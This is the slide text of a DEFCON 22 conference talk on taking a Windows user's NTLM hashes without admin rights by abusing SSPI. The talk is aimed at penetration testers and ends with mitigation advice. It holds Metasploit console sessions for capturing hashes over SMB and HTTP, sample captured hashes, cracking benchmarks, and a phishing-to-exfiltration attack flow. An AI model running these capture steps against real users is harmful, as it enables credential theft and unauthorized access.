Acquire current user hashes without admin privileges

Anton Sapozhnikov
@snowytoxa

DEFCON 22
What is this talk about?

- Penetration test common case
- Traditional techniques to gather credentials
- What is SSPI
- SSPI mechanics
- SSPI “feature”
- How to exploit SSPI
Who am I?

- Penetration tester > 7 yrs
  - many projects for many companies
- CTF player [MoreSmokedLeetChicken](https://www.moresmokedleetchicken.com)
  - DEFCON CTF, HITB CTF, CODEGATE, Hack.lu, PHDays, Secuinside, RuCTF, iCTF, UralCTF, …
- KPMG Russia*
- [volema.com](http://volema.com)

---

*The views expressed are those of the author and do not reflect the official policy or position of the KPMG*
Agenda

- Problem definition
- Motivation
- Traditional way
- Alternative way
- Security Support Provider Interface
- Vulnerability
- Proof of concept
- Benchmarking
- Mitigation
Problem definition

- Have no direct access to internal network
- Have shell access to user workstation
- No admin privileges on it
- Windows XP/7/8 fully patched

The goal is

find out the password of the current user
Motivation

● Shell is tending to die unexpectedly
  ○ buggy software
  ○ workstation power off
  ○ attack detection

● You can connect to a variety of corporate resources available from the Internet with gathered credentials
  ○ WebMail
  ○ Citrix
  ○ VPN
  ○ WebPortal
Traditional way 1/2

- Fgdump/pwdump
  - works only for local users
- Extract from registry or SAM
  - works only for local users
- WCE (windows credential editor)
- Mimikatz

but

we have to have admin privileges
SeDebugPrivilege ex.
Traditional way 2/2

- Look for third-party services with
  - weak file system permissions
  - weak configuration permissions
  - as well as potential victims for DLL-hijacking attacks

- Try any 1-day exploit

but

- All updates and patches have been installed

No way to escalate privileges to SYSTEM :(
Alternative way 1/3

- Phishing via popup window
  - attract user attention
  - need user interact
  - no way to be sure
  - need some localisation
**Alternative way 2/3**

- **Hash snarf via SMB**

  ```
  msf exploit(handler) > use auxiliary/server/capture/smb
  msf auxiliary(smb) > run
  [*] Auxiliary module execution completed
  [*] Server started.
  msf auxiliary(smb) > sessions -i 1
  [*] Starting interaction with 1...
  meterpreter > snarf_hashes 192.168.0.107
  [*] Snarfing token hashes...
  [*] SMB Captured - 2014-03-23 13:15:41 -0400
  NTLMv2 Response Captured from 192.168.0.99:1315 - 192.168.0.99
  LMHASH:c788c9371a7b534d3897102bf142ef00 LM_CLIENT_CHALLENGE:d6ce78622865ca70
  NTHASH:027c5c9fad15db0bc27b5d78e48a3970 NT_CLIENT_CHALLENGE:
  0101000000000000090f5bd84bb46cf01d6ce78622865ca7000000000200000000000000000000000
  [*] Done. Check sniffer logs
  ```

- **Should have reachable server listening on 445/tcp**
Alternative way 3/3

- **Hash snarf via HTTP**

```plaintext
msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > run
[*] Auxiliary module execution completed
[*] Using URL: http://0.0.0.0:8080/vy6BSjy
[*] Local IP: http://192.168.0.107:8080/vy6BSjy
[*] Server started.
msf auxiliary(http_ntlm) >
[*] 192.168.0.99 -- http_ntlm - Request '/vy6BSjy'...
NTLMv2 Response Captured from TESTBOX2
DOMAIN: TESTBOX2 USER: user
LMHASH:2d8988b0921529252c1c824e85b4ea99 LM_CLIENT_CHALLENGE:06d488164922c7f3
NTHASH:a062261fc575b6adb7ea7ec6a4c3b946 NT_CLIENT_CHALLENGE:
01010000000000000000000000200120057004f0052004b0047005200
4f0055005000000000000000000000

- Hostname should be in trusted zone
Security Support Provider Interface
SSPI Packages

- **Microsoft Negotiate**
  - picks the best SSP to handle the request based on customer-configured security policy
- **Microsoft NTLM**
  - NTLM Authentication
- **Microsoft Kerberos**
  - Kerberos V5 Authentication
- **Microsoft Digest SSP**
  - HTTP Digest Authentication (RFC2617, RFC2069)
- **Secure Channel**
  - SSL & TLS implemented by Microsoft
Data flow

Client

Application message(s)

Application message (NTLM_NEGOTIATE)

Application message (NTLM_CHALLENGE)

Application message (NTLM_AUTHENTICATE)

Application message(s)

Server
Data flow. Details

1. NTLM_NEGOTIATE. Type 1
   ○ This primarily contains a list of features supported by the client and requested of the server

2. NTLM_CHALLENGE. Type 2
   ○ This contains a list of features supported and agreed upon by the server. It contains a challenge generated by the server

3. NTLM_AUTHENTICATE. Type 3
   ○ This contains several pieces of information about the client, including the domain and username of the client user. It also contains one or more responses to the Type 2 challenge
Let’s optimize it

Step 1
Application message (NTLM_NEGOTIATE)

Step 2
Application message (NTLM_CHALLENGE)

Step 3
Application message (NTLM_AUTHENTICATE)

Attacking process
Proof of concept
Benchmarking: HTTP Digest access authentication [HDAA-MD5]... DONE
Many salts: 1064K c/s real, 1065K c/s virtual
Only one salt: 1042K c/s real, 1048K c/s virtual

Benchmarking: NTLMv1 C/R MD4 DES [ESS MD5] [netntlm]... DONE
Many salts: 2112K c/s real, 2130K c/s virtual
Only one salt: 1413K c/s real, 1413K c/s virtual

Benchmarking: NTLMv2 C/R MD4 HMAC-MD5 [netntlmv2]... DONE
Many salts: 520906 c/s real, 515779 c/s virtual
Only one salt: 423631 c/s real, 424661 c/s virtual
Attack flow

Pentester --> User

Spear phishing

Browser

Exploit

Trojan/Payload

Authentication data

Bruteforce

Username+password

Corporation

Exfiltrated data
CATS: ALL YOUR BASE ARE BELONG TO US.
Mitigation

- Two-factor authentication
- Strong password
- Try to disable unused packages
Thank you! Questions?

PoC: github.com/snowytoxa/selfhash

Anton Sapozhnikov
@snowytoxa